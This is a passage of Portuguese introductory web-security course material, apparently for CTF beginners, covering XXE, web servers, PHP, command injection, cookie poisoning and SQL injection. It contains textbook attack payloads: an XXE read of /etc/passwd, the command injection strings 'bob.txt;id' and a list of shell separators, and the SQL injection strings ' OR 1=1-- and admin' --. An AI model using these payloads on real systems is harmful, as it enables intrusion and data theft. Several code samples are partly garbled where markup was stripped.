não demonstra que ele é 100% confiável. Para testes locais também é possível usar certificados "self-signed" por meio de certas ferramentas como o [OpenSSL](https://www.openssl.org/). É possível verificar informações sobre o certificado de um site clicando no cadeado ao lado da URL do website. # 2020 - XML External Entities (XML) Injection ## O que é XXE Injection? XXE (XML external entity) Injection é uma vulnerabilidade web que permite ao atacante se aproveitar do processamento de dados XMLs de uma aplicação de maneira maliciosa. Dentre outros problemas, esse tipo de ataque pode levar o atacante à visualização de arquivos confidenciais e à interação com o backend da aplicação (e, possivelmente, sistemas externos), levando a possíveis SSRFs. Mas antes de entender como funciona esse ataque, devemos entender o que é: XML, DTDs e entidades. ## Explicando brevemente XML XML significa **Ex**tensible **M**arkup **L**anguage. Essa linguagem de marcação foi criada para armazenar e transportar dados, assim como o JSON. Por sinal, a popularidade do XML diminuiu devido ao JSON. O XML utlizada *tags* em uma estrutura de árvore, de forma similar ao HTML (tags uma dentro da outra e dados entre o ínicio e o fim das tags). Entretanto, o XML não tem *tags* predefinidas, ou seja, a pessoa que está criando o XML pode definir suas próprias *tags*, como no exemplo abaixo: ```markup Ganeshers All Exemplo para os bixos Esse é um exemplo de XML bem simples! ``` Para saber um pouco mais sobre XML, pesquise em sites como a [w3schools](https://www.w3schools.com/xml/). ## DTD (Document Type Definition) Como descrito acima, DTD significa "definição de tipo de documento" e ela contém declarações que definem a estrutura do XML, os tipos de dados que ele contém e mais. A DTD é opcional. Ela é declarada dentro de um elemento chamado `DOCTYPE` no começo do documento XML. Além disso, a DTD pode ser interna - declarada dentro do documento XML - ou externa - carregada de uma fonte externa. Para exemplificar, uma XML com DTD segue esse padrão: ```markup ]> Dados do elem2, bom dia aaaa 1235125 pode haver qualquer coisa aqui ``` \_Obs.: PCDATA significa "Parsed Character Data" e representa um tipo de dado qualquer (não sei como explicar melhor, desculpa). ## Entidades XML As *XML entities* são uma forma de representar itens do documento XML sem usar seus dados diretamente. Pode-se pensar que essas entidades seriam como variáveis em uma linguagem de programação. Essas entidades podem ser das especificações/padrões do XML, como `<` e `>` (que representam `<` e `>`), ou podem ser costumizadas. As entidades customizadas são definidas dentro do DTD, como no exemplo a seguir. ```markup ]> <&texto_com_top;> ``` Nesse documento XML, `&texto_com_top;` seria substituido por``. Com base nesse exemplo, nota-se que as entidades criadas devem ser referenciadas com `&` + `nome da entidade` + `;`. ### Entidades internas Como no exemplo anterior, as entidades internas são definidas no próprio documento XML, dentro do DTD do qual elas fazem parte, ou seja, não é necessário que o servidor que está processando o XML busque algum dado fora do documento. ### Entidades externas Já esse tipo de entidade é caracterizado por conter uma definição que está fora do documento XML, ou seja, o resposável por processar o XML com uma entidade externa deverá buscar a definição da entidade fora do DTD. Esse tipo de entidade vem com a palavra-chave `SYSTEM` para indicar que ela é externa. Após o `SYSTEM`, há uma URL indicando de onde o valor deve ser carregado. A entidade externa pode refenciar tanto servidores e serviços externos quanto o próprio servidor interno (usando o protocolo `file://`). ```markup ]> ]> ``` ## Voltando ao ataque Agora que já foi explicado um pouco sobre XML, vamos entender um pouco sobre o ataque... Esse tipo de Injection é possível em aplicações que usam XML para transmitir dados entre cliente (navegador) e servidor. O XML enviado para o servidor (backend) é "tratado" por um *parser* (normalmente de alguma API ou biblioteca já existente) e muitas vezes esse tratamento é feito de forma indevida, permitindo que o dado enviado pelo cliente/atacante possa manipular o funcionamento do backend de forma maliciosa. Com exemplos, isso ficará mais claro... ### Exemplo 1: acessando arquivos do servidor Como explicado anteriormente, as entidades externas presentes em documento XML podem buscar arquivos dentro do próprio servidor por meio do protocolo `file://`. Sendo assim, em certos casos no qual há vulnerabilidade no tratamento do XML, pode ser possível acessar arquivos como `/etc/passwd` por meio de um XXE Injection: ```markup ]> &xxe; ``` Caso o servidor retornasse o que está em `` para ser exibido em um documento HTML, receberíamos o conteúdo de `/etc/passwd`. ### Exemplo 2: Execução de código remoto com PHP Com um pouco de sorte, é possível que o servidor tenho o módulo (wrapper) `expect` carregado (por padrão ele não é), o que possivelmente permitirá execução de código a partir de um payload como o a seguir. ```markup ]> &xxe; 123 ``` Além desse exemplos, há diversos outros possíveis ataques a partir dessa vulnerabilidade. Alguns links que podem ser interessantes para aprender um pouco mais sobre XXE Injection são: * * * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection) # Semana 2 ## Sumário - Aulas Semana 2 ### Conceitos iniciais: * [Servidores Web, o que são?](/web/semana-2/08_servidores_web) * [Portas e Serviços](/web/semana-2/ports_e_servicos) ### Estrutura back-end de uma página Web dinámica: * [PHP e programação server-side](/web/semana-2/09_php) * [APIs e Serviços Rest](/web/semana-2/apis_e_rest) ### Bancos de dados, o que são: * [Introdução aos Bancos de Dados](/web/semana-2/13_bancos_de_dados) ### Algumas vulnerabilidades: * [Command Injection](/web/semana-2/10_command_injection) * [Cookie Poisoning](/web/semana-2/12_cookie_poisoning) * [SQL Injection](/web/semana-2/14_sql_injection) * [Insecure Direct Object Reference](https://github.com/GANESH-ICMC/Introducao-a-Seguranca-Digital/tree/bfbf77e3044aa23b5202f22ffec54f406d8f2db0/web/semana-2/15_IDOR.md) #### Autores do material: * [Gabriel Van Loon](https://github.com/GabrielVanLoon) * [Alexandre Junior](https://github.com/alexandregjr) * [Pedro Guerra Lourenço](https://github.com/Haltz01) * Adicionar outros autores que ajudaram em 2021! # Servidores Web ## Introdução aos Servidores Web *Até o momento atual vimos como o protocolo HTTP(S) atua como o protocolo de comunicação da Web, permitindo que os navegadores possam solicitar diferentes tipos de conteúdos pela Internet. A partir de agora, iremos nos focar em entender um pouco da arquitetura que permite que a web ofereça tantos serviços e sites tal como conhecemos nos dias atuais.* ![Servidores Web](https://i.imgur.com/m9D1tgU.jpg) ## 1. O que é um Servidor Web? Podemos definir um Servidor Web simples como um computador com uma série de mecanismos capazes de: 1. **Receber** requisições HTTP dos clientes, 2. **Processar** as requisições uma a uma, 3. **Retornar** uma resposta HTTP aos clientes. Apesar de poucas etapas, o processamento muitas vezes pode ser algo simples, como o conteúdo de uma imagem, ou algo complexo como uma busca em um conjunto de bases de dados com milhares de registros. Qualquer computador com acesso à uma rede pode agir como um Servidor Web e o objetivo dos próximos tópicos será de dar um breve vislumbre de quais são esses mecanismos e como eles atuam para que o servidor entregue o conteúdo esperado para cada requisição. ### 2. Servidor HTTP e Tipos de Conteúdos O mecanismo responsável por estabelecer as conexões e processar as mensagens HTTP recebidas é chamado de **Servidor HTTP**, e a sua função é mapear, por meio das informações recebidas pelos cabeçalhos, qual tipo de conteúdo o cliente deseja receber do servidor. ![Estrutura Servidor HTTP](https://i.imgur.com/HHyYUgW.png) Fonte: developer.mozilla.org Podemos dividir os tipos de conteúdos em duas categorias principais: * **Conteúdos Estáticos:** são arquivos que não necessitam de nenhum tipo de processamento do servidor, bastando que o processo apenas leia e retorne uma cópia do mesmo para o cliente (Ex: arquivos de imagens, CSS, JS, HTML, PDF, ZIP). * **Conteúdos Dinâmicos:** são conteúdos que demandam algum tipo de processamento para retornar o conteúdo. Uma pesquisa, por exemplo, necessita que haja uma busca em um banco de dados e que a resposta seja construída de acordo com a requisição. Geralmente no segundo caso, o servidor HTTP irá invocar a execução de algum código escrito em alguma linguagem de programação (Ex: PHP, Python, Javascript) seja na mesma máquina ou em um Servidor de Aplicação externo e este será responsável por realizar toda a carga de trabalho necessária. Nas aulas futuras iremos abordar com mais detalhes como esses outros mecanismos funcionam. Vamos ver então dois exemplos de servidores web amplamente utilizados atualmente: o Apache HTTP Server e o Nginx. Mas antes, caso queira se aprofundar nos tópicos visto até o momento recomendamos os seguintes links: 1. Uma visão geral do HTTP. () 2. O que é um Servidor Web? () 3. Servidor Web: Hardware ou Programa? () 4. What Is an Application Server vs. a Web Server? () ### 3. Apache HTTP Server ![](https://s3.amazonaws.com/stillat/img/ch1_request_lifecycle.png) Fonte: O projeto Apache é um servidor web criado em 1995 e é, desde então, um dos servidores mais utilizados para a hospedagem de websites (). O core da sua aplicação é bastante enxuto e focado principalmente na tarefa de buscar e transmitir os dados requisitados via HTTP. No entanto, graças a uma grande comunidade de desenvolvedores e a sua arquitetura que permite a integração de módulos externos, ele se tornou uma ferramenta poderosa e muita utilizada ainda hoje. Uma das vantagens do Apache é a sua alta integração com com outros projetos Open Source como o PHP e o MySQL. O uso dessas tecnologias em conjunto é muito comum e **recomendada como porta de entrada para aqueles que querem saber mais sobre desenvolvimento web**. Há diversos projetos que permitem a instalação dos três de maneira rápida, permitindo a criação de um servidor web local em conjunto com um banco de dados (ex: XAMP, WAMP, LAMP). Para saber mais sobre, veja os seguintes links: 1. An Introduction to Apache () 2. How Does PHP Work With The Web Server And Browser? () 3. Apache tutorial () ### 4. NGINX Web Server ![](https://www.aosabook.org/images/nginx/architecture.png) Fonte: O NGINX se trata de um sistema Open Source que atua como Web Server, foi lançado em 2004 com o objetivo de ser um servidor com alta escalabilidade e eficiência e é atualmente o servidor mais utilizado para servir conteúdos web. Assim como o Apache, o NGINX também possui alta integração com muitos outros projetos Open Source, além de possui muitos outros serviços além do de HTTP Server como Proxy Reverso, Load Balancer e Web application Firewall. Caso queira se aprofundar mais em como ele funciona, veja os links a seguir 1. What is NGINX? () 2. Inside NGINX () 3. NGINX () 4. Beginner's Guide () ### 5. Arquitetura da Web na vida real ![](https://media.prod.mdn.mozit.cloud/attachments/2016/08/09/13677/d031b77dee83f372ffa4e0389d68108b/Fetching_a_page.png) Fonte: developer.mozilla.org Até o momento, tratamos o Servidor Web como uma instância simples que é executada em uma única máquina. No entanto, isso nem sempre é verdade. Grandes websites precisam lidar com problemas de disponibilidade e performance em alta escala e isso, muitas vezes, demanda uma arquitetura muito maior do que um simples servidor HTTP. Caso você queira se aprofundar mais no tema, recomendamos a video aula do link a seguir. Nela, você poderá entender um pouco melhor sobre a arquitetura e funcionamento de serviços que precisam lidar com uma grande quantidade de requisições, assim como citar outros intermediários que podem estar inseridos entre o cliente e o servidor final. 1. Lecture 9 - Scalability - Harvard Web Development () 2. Reverse Proxy vs Load Balancer () 3. Web Application Firewall () # PHP (Programação server-side) *Como vimos anteriormente, conteúdos gerados dinâmicamente geralmente executam alguma linguagem de programação por trás dos panos. Nesta aula iremos trazer um paradigma geral sobre as linguagens mais usadas para o desenvolvimento de aplicações Web dando enfoque à linguagem PHP.* *Obs: se você já se sente confortável com desenvolvimento Web e PHP, sinta-se a vontade para avançar para os próximos tópicos.* ## 1. Quais linguagens de programação são utilizadas na Web? Relembrando a aula anterior, servidores web são computadores que possuem alguma aplicação agindo como Servidor HTTP e processando as requisições. Na teoria, portanto, você pode comandar essa aplicação para enviar requisições para um programa escrito em qualquer linguagem que você desejar (obviamente, você teria que se atentar às especificações ao integrar o servidor HTTP ao seu programa, garantindo que o mesmo recebesse e retornasse os dados corretamente). Na prática, existem certas linguagens que costumam ser mais adotadas pelos desenvolvedores devido a alguns fatores. Vamos citar abaixo alguns deles. * **Facilidade:** apesar de ser possível utilizar qualquer linguagem na hora de desenvolver um sistema web, algumas delas já possuem de antemão o ferramental necessário para lidar com as requisições recebidas do servidor. O [PHP](https://www.php.net/manual/pt_BR/intro-whatis.php), por exemplo, se tornou popular devido à baixa curva de aprendizado e à rapidez quando integrado ao Apache Web Server. * **Frameworks:** muitas linguagens de próposito geral já possuem framewoks que facilitam no desenvolvimento web. Dentro vários, podemos citar, por exemplo, o framework [Django](https://www.djangoproject.com) para python e o [Rails](https://rubyonrails.org/) para Ruby. * **Eficiência ou Segurança:** muitos sistemas precisam lidar com questões de desempenho e a escolha da linguagem muitas vezes impacta nesse fator. A linguagem [Rust](https://www.rust-lang.org/pt-BR), por exemplo, é muito empregada em sistemas cujo uso da memória precisa ser seguro e eficiente. Já o [Node.js](https://nodejs.org/en/) foi criado pensando em aplicações que necessitam de escalabilidade. * **Gosto pessoal:** por fim, a zona de conforto do responsável pelo sistema também influencia muito na hora de escolher uma linguagem, uma vez que cada linguagem possui suas decisões de projeto, paradigmas, se é tipada/não tipada, se é compilada ou interpretada etc. ![Linguagens de Programação Web](https://i.imgur.com/c19QBDB.png) Nos challs utilizados no Ping (assim como em muitos outros CTF's pela web) iremos utilizar, majoritariamente o PHP exatamente pelo fator de facilidade para principiantes de programação web. Vamos, portanto, dar uma breve olhada em como essa linguagem funciona na prática. ## 2. O que é o PHP? O PHP se trata de uma linguagem de script de propósito geral criada em 1994 por Rasmus Lerdof. Ela nasceu nos primórdios da web como uma ferramenta voltada para a criação de sites e se tornou uma das mais conhecidas do meio. Essa linguagem é responsável por uma grande parcela dos sites que compõem a web e ainda recebe diversas atualizações. Vejamos então um exemplo de script utilizando essa linguagem. ```php Super Ultra Website Olá Mundo!

"; ?> ``` Arquivo: index.php Primeiramente podemos notar que há uma visível mistura de HTML com scripts PHP inseridos no meio, isso se deve a própria natureza da linguagem que nasceu para facilitar a criação de páginas dinâmicas para web. As tags `` permitem que o interpretador saiba diferenciar quais conteúdos devem ser de fato executados e quais devem apenas ser retornadas como estão. Todos os arquivos devem terminar com o tipo `.php` e é comum que os Servidores HTTP sempre carreguem o arquivo `index` ao receberem uma requisição que aponte para uma pasta, como por exemplo: ``` GET / HTTP/1.1 Host: ganesh.icmc.usp.br Apache irá carregar o arquivo /index.php ou /index.html se existirem... ``` ## 3. Sintaxe, Variáveis e Operadores O PHP se trata de uma linguagem não tipada e que também não exige que suas variáveis sejam previamente declaradas. Todas as variáveis devem iniciar com o símbolo `$` e há poucas restrições para os caractéres que podem ser utilizados em suas nomeações. Veja os exemplos: ```php Durante a etapa em que o servidor invoca o interpretador (etapa 4), as informações da requisição também são enviadas afim de ficarem disponíveis para o script `.php` e podem ser acessadas por meio de [variáveis globais pré-definidas](https://www.php.net/manual/pt_BR/reserved.variables.php). Vamos imaginar portanto, uma requisição para a seguinte url: ``` http://ganesh.icmc.usp.br/buscar.php?frente=web ``` Podemos acessar o parâmetro enviado pela URL utilizando a seguinte variável: ```php ``` Outras variáveis muito utilizadas também são: `$_POST`, `$_COOKIE`, `$_SERVER`, `$_REQUEST` e `$_SESSION`, tendo cada uma seu uso específico e que pode ser consultado na própria documentação. ## 5. De início quanto devo me aprofundar? No âmbito de segurança web, compreender a linguagem utilizada é essencial para compreender a lógica implementada por trás de um sistema ou desafio. No geral, como a web utiliza o protocolo HTTP como meio de comunicação, uma vez que se compreenda o funcionamento de uma linguagem se torna um pouco mais simples a migração desses conceitos para novas linguagens. Muitas das falhas que veremos nos websites não necessariamente estarão atreladas à uma linguagem em si mas sim às más decisões tomadas ao construir um determinada funcionalidade. Por outro lado, também haverá vulnerabilidades atreladas ao design de cada linguagem e possuir a capacidade de se adaptar dentre diferentes cenários é algo essencial (Exemplo: pesquise vulnerabilidades de PHP Type Juggling). Logo, recomendamos que aproveite os desafios mais fáceis do Ping para se acostumar com a sintaxe do PHP e tentar compreender o que ocorre em cada código para então partir para outras linguagens. *Menção Honrosa:* o Node.js é outra linguagem em ascenção e que já domina uma boa parcela das vagas de web atualmente, porém para evitar delongas deixamos seu estudo ao cargo do leitor. # Command Injection Vulnerabilidade web que permite com que o atacante execute comandos de terminal arbitrariamente, utilizando comandos do sistema operacional no servidor no qual roda a aplicação, sendo assim, possibilitando alcançar e explorar a aplicação como um todo, assim como seus dados. A falha ocorre quando a aplicação envia comandos para o sistema operacional a partir de dados fornecidos pelo usuário, enviados para a aplicaçào via formulários, cookies, HTTP headers, entre outros, sendo que tais informações não recebem um tratamento ou não são validadas. Os dados fornecidos pelo usuário rodam em uma shell do sistema operacional da aplicação. Ao não ocorrer uma validação do input realizado pelo usuário, um atacante poderá inserir comandos de linha de terminal/sistema operacional através do parâmetro vulnerável, utilizando os privilégios da aplicação web, possibilitando um exploit. Ainda, em casos mais extremos, é possível executar um reverse shell a partir do command injection, evoluindo o risco e consequências do ataque. ## Comandos utilizados e seus propósitos | Propósito | No Linux | No Windows | | ------------------------------------------- | -------- | ------------- | | Descobrir o usuário atual | whoami | whoami | | Descobrir o sistema em que roda a aplicação | uname -a | ver | | Configuração da internet | ifconfig | ipconfig /all | | Processos em execução | ps -ef | tasklist | ## Exemplos de Command Injection ### Exemplo 1 Consideremos o seguinte código PHP ```php "); $file=$_GET['filename']; system("rm $file"); ?> ``` O código consiste em pegar o que é enviado pelo parâmetro filename do método GET do protocolo HTTP, utilizando para rodar um comando do sistema operacional, sendo ele o rm, que deleta um arquivo especificado como parâmetro. Não existe tratamento ou validação do que é recebido pelo parâmetro, possibilitando um fácil ataque de um usuário malicioso, passando comandos junto ao já existente. Realizando a seguinte requisição: enviar o nome do arquivo a ser removido pelo comando (rm bob.txt), mas acrescentando uma quebra de comando, com o caractere ";" e o comando id ``` https://127.0.0.1/delete.php?filename=bob.txt;id ``` Ao receber a requisição, o servidor utilizará a string enviado junto ao parâmetro get filename, executando o seguinte código: ``` rm bob.txt;id ``` Dessa forma, o arquivo bob.txt será de fato removido, mas teremos ainda a execução do comando seguinte (id), que nos retorna as informações acerca do usuário atual `uid=33(www-data) gid=33(www-data) groups=33(www-data)` ### Exemplo 2 Consideremos uma aplicação web simples, que requisita a partir de um formulário de texto, um ip para que seja pingado, sem realizar nenhuma validação do que recebe do usuário. Ao receber um ip como 127.0.0.1, o comando executado a partir do sistema operacional que roda a aplicação é o seguinte: `ping -c 10 127.0.0.1` Em um código PHP seria algo do tipo ```php $ip = $_GET['ip']; system("ping -c 10 $ip"); ``` Como não existe validação, um também válido seria `127.0.0.1; id;` Isso executaria o ping no ip desejado, e logo em seguida, resultaria na execução do comando id. ## Blind OS Command Injection (Command Injection às cegas) Existem situações em que não é retornado para o usuário qual o resultado de sua interação, mesmo que a aplicação rode algum comando na shell do seu sistema operacional. Dessa forma, é necessário encontrar outros modos de identificar que existe de fato uma shell rodando comandos a partir dos dados fornecidos pelo usuário. Um exemplo é utilizando time delays: podemos inserir o comando ping com um número de determinado de pacotes ou de tempo para rodar, o que resulta em um delay da resposta da aplicação, resultante do tempo de execução do comando efetuado (ping com tempo ou pacotes delimitados). ## Redirecionado o output Em algumas situações, podemos redirecionar o output de um comando que queremos verificar seu conteúdo, uma vez que não temos o retorno da aplicação, mas podemos manipular um arquivo e visualizar seu conteúdo. `; whoami > /var/www/static/whoami.txt;` ## Principais comandos de OS injecting & como mitigar Command Injection Os seguintes comandos são muito úteis para utilizar ao construir payloads de command injection * & * && * ; * \n * \| * || * \`injected command\` * $(injected command) Dessa forma, a maneira mais precisa e eficiente de impossibilitar/mitigar ataques via command injection é realizar validações nos inputs realizados pelo usuário (*data-sanitize*), fazendo uma limpeza na string enviada a partir dos parâmetros, retirando os caracteres descritos acima. ## Fontes [Owasp, uma das melhores fontes para aprender segurança web](https://owasp.org/www-community/attacks/Command_Injection) [Portswigger: aprendendo segurança web de graça](https://portswigger.net/web-security/os-command-injection) [Netsparker, artigo sobre Command Injection e sua mitigação](https://www.netsparker.com/blog/web-security/command-injection-vulnerability/) [infosec, site brasileiro sobre segurança web](https://www.infosec.com.br/command-injection/) # Cookie Poisoning ## O que é cookie poisoning Cookie poisoning é uma estratégia de ataque onde o atacante altera, forja, sequestra ou podemos dizer "envenena" um cookie válido e manda-o de volta para o servidor para poder roubar dados, evitar a segurança ou ambos. ## O por que o cookie poisoning é importante? Cookie poisoning é relativamente fácil para atacantes os quais podem usar um cookie envenenado para roubar a identidade do usuário para fraude ou para ganhar acesso não autorizado ao servidor para futuras explorações. ## Como cookie poisoning funciona? Cookies (ou outros tokens de sessão) não gerados ou transmitidos com segurança são vulneráveis a sequestro ou envenenamento. Cross-site scripting (XSS) é uma maneira comum de roubar cookies, mas vários métodos, incluindo detecção de pacotes e força bruta, podem ser usados para obter acesso não autorizado aos cookies. E como o envenenamento de cookies é um termo geral para inúmeras atividades maliciosas que envolvem cookies, um exploit de envenenamento de cookies também pode ser descrito com precisão como um ataque man-in-the-middle ou sequestro de sessão, fixação ou falsificação, entre outros termos. ## Diferentes tipos de cookie poisoning: * **Cookie poisoning pelo lado do cliente:** A verdadeira forma de envenenamento de cookies é bastante rara porque os programadores de aplicativos hoje em dia raramente cometem esses erros básicos. Um ataque de envenenamento de cookie é iniciado por um usuário que manipula o conteúdo do cookie para sua vantagem antes que o cookie seja enviado ao servidor da web. Tudo o que o usuário precisa fazer é pressionar F12 e usar a GUI do navegador do usuário para modificar os cookies. Um usuário avançado pode, é claro, também criar uma solicitação HTTP adequada do zero, de acordo com suas necessidades. Por exemplo, um aplicativo web mal escrito pode armazenar o nome de usuário do usuário atualmente conectado em um cookie. Em seguida, o aplicativo pode usar o conteúdo do cookie para verificar qual usuário está executando uma determinada operação. Nesse caso, o usuário pode alterar o conteúdo do cookie para se passar por outra pessoa, por exemplo o adminstrador da aplicação. * **Man-in-the-middle Cookie Hijack:** O termo envenenamento de cookies também é frequentemente usado para descrever o sequestro de cookies, que é uma forma de ataque man-in-the-middle (MITM). Nesse caso, o invasor usa alguma outra técnica de ataque para espionar a comunicação entre o navegador Web e o servidor Web e obtém acesso ao conteúdo do cookie que está sendo transmitido. Em um ataque MITM típico, o invasor não apenas escuta a comunicação, mas pode manipulá-la. Eles podem roubar informações confidenciais contidas no cookie transmitido ou modificá-las em seu próprio benefício. * **Cookie Hijacking using Buffer Overflow:** O conteúdo dos cookies também pode ser acessado por terceiros não autorizados usando ataques de buffer overflow. Se o servidor Web executar um software vulnerável a ataques de buffer overflow, o invasor poderá ler a memória do servidor, que geralmente contém as informações de cookies mais recentes. No entanto, esse tipo de ataque é muito raro. Poucos aplicativos instalados em servidores web são vulneráveis a buffer overflow e, mesmo que sejam, deve ser uma rara coincidência que o invasor consiga encontrar e reconhecer cookies para um determinado site. Observe que erros de buffer overflow quase nunca acontecem em aplicativos da web porque as linguagens mais populares usadas para criar aplicativos da web, como PHP, Java e JavaScript, são imunes a buffer overflow. * **Cross-site Scripting and Cookie Hijacking:** Os ataques de script entre sites (XSS) são uma maneira excelente de acessar o conteúdo do cookie, incluindo identificadores de sessão. Se o aplicativo da web for vulnerável até mesmo a XSS refletido simples, tudo o que o invasor precisa para receber o identificador de sessão é enganar a vítima para que clique em um link fornecido. Assim que a vítima clica no link, o conteúdo do cookie de sessão é enviado em uma solicitação ao site do invasor. No caso mais simples, o invasor precisa apenas analisar os logs do servidor da web para ver o conteúdo do cookie da sessão. ## Como se prevenir de cookie poisoning? * **F5 Advanced WAF (Web Application Firewall):** O F5 Advanced WAF usa inspeção de dados full proxy, análise de comportamento e aprendizado de máquina para fornecer segurança de aplicativo de alto nível, incluindo gerenciamento de sessão sofisticado e criptografia de cookies SSL / TLS. Ao interceptar todo o tráfego de e para o servidor da web, ele pode descriptografar esse tráfego e compará-lo com as informações enviadas pelo servidor para evitar que cookies alterados cheguem ao servidor ou aplicativo. Caso queira um video que explique melhor sobre o F5 Advanced WAF veja [esse video](https://www.youtube.com/watch?v=HBbDKBV4QW0\&ab_channel=F5DevCentral). * Use apenas comunicação HTTPS, por exemplo, impondo HSTS. Isso reduz muito a ameaça de espionagem no conteúdo do cookie. * Faça a varredura regularmente de seus aplicativos da web usando um scanner de vulnerabilidade para encontrar e eliminar todas as vulnerabilidades de segurança que podem levar ao envenenamento de cookies. * Não use seus próprios geradores para criar identificadores de sessão. Confie no seu software de servidor da web para fazer isso por você. * Nunca confie nos dados calculados do lado do cliente porque podem ser facilmente manipulados. ## Referências: * * # Bancos de Dados ## 1. O que são? Bancos de dados são coleções organizadas de informações ou dados estruturados, que tipicamente são armazenados em sistemas computacionais. Resumindo, os bancos de dados podem ser entendidos como arquivos de um computador que são criados respeitando certas regras de escrita, de tal forma que seja possível a interpretação desses dados por um outro sistema computacional com essas mesmas regras de escrita, ou até mesmo por um ser humano (quando se utiliza o formato JSON por exemplo). ## 2. Como funcionam? Geralmente os bancos de dados são gerenciados por um Sistema de Gerenciamento de Banco de Dados (SGBD). Existem alguns exemplos bem conhecidos, como MySQL, PostgreSQL, Oracle, etc. Cada um desses sistemas gerenciadores possui regras específicas de como montar um banco de dados, além de possuir alguns recursos próprios, e vantagens uns sobre os outros. A grande maioria desses SGBDs possuem o conceito de usuários, onde cada usuário do sistema só possui acesso a um certo escopo do banco de dados, ou então só tem acesso a um determinado conjunto de comandos, por exemplo. ## 3. SGDB's Os SGDB's (sistemas de gerenciamento de bancos de dados) são conjuntos de programas que fazem a interface entre os dados armazenados por uma DB e o usuário. Eles permitem o acesso e a manipulação dos dados. Eles visam armazenar organizadamente os dados, além de permitir busca e atualização eficiente dos mesmos. ## 4. Tipos de Bancos de dados No geral os bancos de dados podem ser divididos em Bancos Relacionais ou Não-Relacionais (ou NOSQL - not only SQL). ## 4.1. Relacionais Os bancos de dados relacionais se referem aos bancos que tem seus dados gravados em forma de tabelas, onde cada coluna da tabela armazena um tipo de dado (strings, inteiros, etc). Nesse tipo de DB, toda a estruturação dos dados no banco devem ser definidas antes do seu uso. Caso uma tabela não seja definida (não possua um esquema definido), não é possível inserir dados nela.\ Alguns exemplos de SGDBs relacionais são: * [Oracle DB](https://www.oracle.com/br/database/) * [PostgreSQL](https://www.postgresql.org/) * [MySQL](https://www.mysql.com/) * [Instalando MySQL no UBUNTU 20.04](https://www.digitalocean.com/community/tutorials/how-to-install-mysql-on-ubuntu-20-04-pt) Os mais comuns em sistemas web são MySQL e PostgreSQL. ## 4.2. Não Relacionais Os bancos de dados não relacionais não possuem a necessidade de fazer todo o esquema antes de começar a utilizá-lo, até porque todas as informações serão agrupadas em um registro. Não precisam das declarações dos relacionamentos, dado que tudo fica salvo no próprio registro. Um formato muito usual de armazenamento desse tipo de DB é o JSON, apesar de existirem outros formatos também.\ Alguns NOSQL são estruturados por meio de grafos, outros por meio de documentos, e ainda existem alguns outros tipos. Exemplos de SGDBs NOSQL: * [Neo4j](https://neo4j.com/) - graph database * [MongoDB](https://www.mongodb.com/) * [Slides](https://docs.google.com/presentation/d/1a63G553yIaydrnve0kuhZQRrnW7QdjuCwtG1kYW5WKE/edit?usp=sharing) # SQL Injection É uma vulnerabilidade web que permite ao atacante interferir nas *queries* (consultas) feitas para o banco de dados de certa aplicação. Em geral, o atacante consegue visualizar dados armazenados no banco de dados que ele não deveria poder ver (informação de outros usuários, dados da aplicação, senhas etc.). Além disso, pode ser que o atacante consiga modificar e deletar dados do DB e, em casos mais extremos, escalar o ataque para comprometer o funcionamento do *back-end* da aplicação ou performar um ataque DoS. De forma similar, ele pode subverter a lógica de certas aplicações e, por exemplo, passar pelo portal de login de algum site sem ter uma conta. ## Exemplos de SQL Injections Vulnerabilidades desse tipo apresentam-se nas mais diferentes formas. Para cada situação de ataque, é possível que haja uma abordagem diferente. Usaremos como base os exemplos da [Portswigger](https://portswigger.net/web-security/sql-injection), a fim de explicar um pouco sobre diferentes tipos de SQL Injections. ### Exemplo 1: modificando uma query para obter dados adicionais Considere uma aplicação que distribui seus produtos em categorias. Quando o usuário clica na categoria "Presentes", o navegador manda uma requisição para o servidor da forma: ``` https://insecure-website.com/products?category=Gifts ``` Em seguida, a aplicação fará uma consulta no banco de dados, buscando os produtos da categoria "Presentes". A *query* utilizada seria, por exemplo: ```sql SELECT * FROM products WHERE category = 'Gifts' ``` Essa consulta quer obter todas as informações (\*), ou seja, todas as colunas da base de dados, referentes à tabela "products" nas quais a categoria do produto ("category" é uma das colunas) é "Gifts". Considerando que a aplicação não implementa defesas contra SQL Injections, um atacante poderia construir uma entrada do tipo `Gifts'+OR+1=1--` e colocá-la na URL: ``` https://insecure-website.com/products?category=Gifts'+OR+1=1-- ``` Isso resultado na query: ```sql SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' ``` *Obs.: o `+` transforma-se em espaço* Nesse caso, a consulta quer obter todas as informações (\*) da tabela de produtos ("products"), mas só da categoria "Gifts" **ou 1 = 1**. Num primeiro momento isso pode parecer estranho, mas essa query está buscando todas as informações da tabela de produtos de **todos** os produtos, porque a condição para um produto ser selecionado pela consulta é que ele deve ser da categoria "Gifts" ou *1 deve ser igual à 1, o que sempre é verdade!*. Dessa forma, o atacante recebe como resposta todas as entradas da tabela produtos. Além disso, note que há um `--` ao final da entrada do atacante. Isso representa, em certos bancos de dados (e nesse caso), um comentário. Logo, tudo que estiver escrito após isso será considerado um comentário. Isso é necessário para que a *query* termine com o código do atacante e ignore todo o resto. Por exemplo, se a consulta fosse ```sql SELECT * FROM products WHERE category = '' AND (price < 100) ``` Se o resto da consulta (`' AND (price < 100)`) não for comentado, o atacante não obterá tudo que quer ou a consulta dará erro. Entretanto, se houver um `--` ao final da entrada, não haverá problemas (`blabla' OR 1=1 --`): ```sql SELECT * FROM products WHERE category = 'blabla' OR 1=1 --' AND (price < 100) ``` ### Exemplo 2: acessando uma conta de administrador sem saber a senha Considere um portal de login, com usuário e senha. Se alguém submeter o usuário "mineboy2007" e a senha "sadgoat123", a aplicação checa as credenciais a partir da *query* SQL: ```sql SELECT * FROM users WHERE username = 'mineboy2007' AND password = 'sadgoat123' ``` Se ela retornar as informações do usuário, o login é um sucesso. Do contrário, ele falha. Nesse cenário, um atacante poderia logar como qualquer usuário ao remover a checagem de senha ao inserir um comentário na *query*. Ele pode submeter, por exemplo, o usuário `admin' --` e qualquer coisa na senha (pois ela não será verificada). Assim, *query* SQL fica: ```sql SELECT * FROM users WHERE username = 'admin' --' AND password = '' ``` Essa *query* irá retornar o usuário cujo nome é "admin" (independentemente da senha estar correta ou não) e logará o atacante no portal (como administrador). ## [SQL Injection UNION Attack](https://portswigger.net/web-security/sql-injection/union-attacks) Se o resultado da *query* é retornado pela resposta da aplicação e ela é vulnerável à SQL Injection, provavelmente é possível utilizar um **UNION Attack** para obter informações de outras tabelas do banco de dados. Esse ataque consiste em utilizar o `UNION`, que permite a execução de SELECTs adicionais em uma *query*. Por exemplo, a *query* 